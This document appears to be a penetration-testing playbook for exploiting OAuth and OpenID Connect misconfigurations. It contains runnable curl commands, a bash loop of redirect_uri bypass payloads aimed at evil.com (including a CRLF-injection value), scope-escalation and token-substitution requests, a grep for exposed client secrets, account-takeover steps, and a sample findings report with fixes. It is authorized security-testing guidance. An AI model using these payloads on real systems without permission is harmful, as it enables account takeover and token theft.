Exploiting OAuth Misconfiguration

When to Use

• During authorized penetration tests when the application uses OAuth 2.0 or OpenID Connect for authentication
• When assessing "Sign in with Google/Facebook/GitHub" social login implementations
• For testing single sign-on (SSO) flows between applications
• When evaluating API authorization using OAuth bearer tokens
• During security assessments of applications acting as OAuth providers or consumers

Prerequisites

• Authorization: Written penetration testing agreement covering OAuth/SSO flows
• Burp Suite Professional: For intercepting OAuth redirect flows
• Browser with DevTools: For monitoring redirect chains and token leakage
• Multiple test accounts: On both the OAuth provider and the target application
• curl: For manual OAuth flow testing
• Attacker-controlled server: For receiving redirected tokens/codes

Workflow

Step 1: Map the OAuth Flow and Configuration

Identify the OAuth grant type, endpoints, and configuration.

# Discover OAuth/OIDC configuration endpoints
curl -s "https://target.example.com/.well-known/openid-configuration" | jq .
curl -s "https://target.example.com/.well-known/oauth-authorization-server" | jq .

# Key endpoints to identify:
# - Authorization endpoint: /oauth/authorize
# - Token endpoint: /oauth/token
# - UserInfo endpoint: /oauth/userinfo
# - JWKS endpoint: /oauth/certs

# Capture the authorization request in Burp
# Typical authorization code flow:
# GET /oauth/authorize?
#   response_type=code&
#   client_id=CLIENT_ID&
#   redirect_uri=https://app.example.com/callback&
#   scope=openid profile email&
#   state=RANDOM_STATE

# Identify the grant type:
# - Authorization Code: response_type=code
# - Implicit: response_type=token
# - Hybrid: response_type=code+token

# Check for PKCE parameters:
# - code_challenge=...
# - code_challenge_method=S256

Step 2: Test Redirect URI Manipulation

Attempt to redirect the authorization code or token to an attacker-controlled domain.

# Test open redirect via redirect_uri
# Original: redirect_uri=https://app.example.com/callback
# Attempt various bypasses:

BYPASSES=(
  "https://evil.com"
  "https://app.example.com.evil.com/callback"
  "https://app.example.com@evil.com/callback"
  "https://app.example.com/callback/../../../evil.com"
  "https://evil.com/?.app.example.com"
  "https://evil.com#.app.example.com"
  "https://app.example.com/callback?next=https://evil.com"
  "https://APP.EXAMPLE.COM/callback"
  "https://app.example.com/callback%0d%0aLocation:https://evil.com"
  "https://app.example.com/CALLBACK"
  "http://app.example.com/callback"
  "https://app.example.com/callback/../../other-path"
)

for uri in "${BYPASSES[@]}"; do
  echo -n "Testing: $uri -> "
  status=$(curl -s -o /dev/null -w "%{http_code}" \
    "https://auth.target.example.com/oauth/authorize?response_type=code&client_id=APP_ID&redirect_uri=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$uri'))")&scope=openid&state=test123")
  echo "$status"
done

# If redirect_uri validation is path-based, try path traversal
# redirect_uri=https://app.example.com/callback/../attacker-controlled-path

# If subdomain matching, try subdomain takeover + redirect
# redirect_uri=https://abandoned-subdomain.example.com/

Step 3: Test for Authorization Code and Token Theft

Exploit leakage vectors for stealing OAuth tokens and codes.

# Test token leakage via Referer header
# If implicit flow returns token in URL fragment:
# https://app.example.com/callback#access_token=TOKEN
# And the callback page loads external resources,
# the Referer header may leak the URL with the token

# Test for authorization code leakage via Referer
# After receiving code at callback, check if:
# 1. Page loads external images/scripts
# 2. Page has links to external sites
# Burp: Check Proxy History for Referer headers containing "code="

# Test authorization code reuse
CODE="captured_auth_code"
# First use
curl -s -X POST "https://auth.target.example.com/oauth/token" \
  -d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=APP_ID&client_secret=APP_SECRET"

# Second use (should fail but may not)
curl -s -X POST "https://auth.target.example.com/oauth/token" \
  -d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=APP_ID&client_secret=APP_SECRET"

# Test state parameter absence/predictability
# Remove state parameter entirely
curl -s "https://auth.target.example.com/oauth/authorize?response_type=code&client_id=APP_ID&redirect_uri=https://app.example.com/callback&scope=openid"
# If no error, CSRF on OAuth flow is possible

Step 4: Test Scope Escalation and Privilege Manipulation

Attempt to gain more permissions than intended.

# Request additional scopes beyond what's needed
curl -s "https://auth.target.example.com/oauth/authorize?response_type=code&client_id=APP_ID&redirect_uri=https://app.example.com/callback&scope=openid+profile+email+admin+write+delete&state=test123"

# Test with elevated scope on token exchange
curl -s -X POST "https://auth.target.example.com/oauth/token" \
  -d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=APP_ID&client_secret=APP_SECRET&scope=admin"

# Test token with manipulated claims
# If JWT access token, try modifying claims (see JWT testing skill)

# Test refresh token scope escalation
curl -s -X POST "https://auth.target.example.com/oauth/token" \
  -d "grant_type=refresh_token&refresh_token=$REFRESH_TOKEN&client_id=APP_ID&scope=admin+write"

# Test client credential flow with elevated permissions
curl -s -X POST "https://auth.target.example.com/oauth/token" \
  -d "grant_type=client_credentials&client_id=APP_ID&client_secret=APP_SECRET&scope=admin"

Step 5: Test for Account Takeover via OAuth

Exploit OAuth flows to take over victim accounts.

# Test missing email verification on OAuth provider
# 1. Create an account on the OAuth provider with victim's email
# 2. OAuth login to the target app
# 3. If the app trusts the unverified email, account linking occurs

# Test pre-authentication account linking
# 1. Register on target app with victim's email (no OAuth)
# 2. Attacker links their OAuth account to victim's email
# 3. Attacker can now login via OAuth to victim's account

# CSRF on account linking
# If /oauth/link endpoint lacks CSRF protection:
# 1. Attacker initiates OAuth flow, captures the auth code
# 2. Craft a page that submits the code to victim's session
# 3. Victim's account gets linked to attacker's OAuth account

# Test token substitution
# Use authorization code/token from one client_id with another
curl -s -X POST "https://auth.target.example.com/oauth/token" \
  -d "grant_type=authorization_code&code=$CODE_FROM_APP_A&redirect_uri=https://app-b.example.com/callback&client_id=APP_B_ID&client_secret=APP_B_SECRET"

Step 6: Test Client Secret and Token Security

Assess the security of OAuth credentials and tokens.

# Check for exposed client secrets
# Search JavaScript source code
curl -s "https://target.example.com/static/app.js" | grep -i "client_secret\|clientSecret\|client_id"

# Check mobile app decompilation for hardcoded secrets

# Test token revocation
ACCESS_TOKEN="captured_access_token"
# Use the token
curl -s -H "Authorization: Bearer $ACCESS_TOKEN" \
  "https://api.target.example.com/me"

# Revoke the token
curl -s -X POST "https://auth.target.example.com/oauth/revoke" \
  -d "token=$ACCESS_TOKEN&token_type_hint=access_token"

# Test if revoked token still works
curl -s -H "Authorization: Bearer $ACCESS_TOKEN" \
  "https://api.target.example.com/me"

# Test token lifetime
# Decode JWT access token and check exp claim
echo "$ACCESS_TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq .exp
# Long-lived tokens (hours/days) increase attack window

# Check PKCE implementation
# If public client without PKCE, authorization code interception is possible

Key Concepts

Tools & Systems

Common Scenarios

Scenario 1: Redirect URI Subdomain Bypass

The OAuth provider validates redirect_uri against *.example.com. An attacker finds a subdomain vulnerable to takeover (old.example.com), takes it over, and steals authorization codes redirected to it.

Scenario 2: Missing State Parameter CSRF

The OAuth login flow does not include or validate a state parameter. An attacker crafts a link that logs the victim into the attacker's account, enabling account confusion attacks.

Scenario 3: Implicit Flow Token Theft

The application uses the implicit flow, receiving the access token in the URL fragment. The callback page loads a third-party analytics script, and the token leaks via the Referer header.

Scenario 4: Authorization Code Reuse

The OAuth provider does not invalidate authorization codes after first use. An attacker who intercepts a code via Referer leakage can exchange it for an access token even after the legitimate user has completed the flow.

Output Format

## OAuth Security Assessment Report

**Vulnerability**: Redirect URI Validation Bypass
**Severity**: High (CVSS 8.1)
**Location**: GET /oauth/authorize - redirect_uri parameter
**OWASP Category**: A07:2021 - Identification and Authentication Failures

### OAuth Configuration
| Property | Value |
|----------|-------|
| Grant Type | Authorization Code |
| PKCE | Not implemented |
| State Parameter | Present but predictable |
| Token Type | JWT (RS256) |
| Token Lifetime | 1 hour |
| Refresh Token | 30 days |

### Findings
| Finding | Severity |
|---------|----------|
| Redirect URI path traversal bypass | High |
| Missing PKCE on public client | High |
| Authorization code reusable | Medium |
| State parameter uses sequential values | Medium |
| Client secret exposed in JavaScript | Critical |
| Token not revoked after password change | Medium |

### Recommendation
1. Implement strict redirect_uri validation with exact string matching
2. Require PKCE for all clients (especially public/mobile clients)
3. Invalidate authorization codes after first use
4. Use cryptographically random state parameters tied to user sessions
5. Migrate from implicit flow to authorization code flow with PKCE
6. Never expose client secrets in client-side code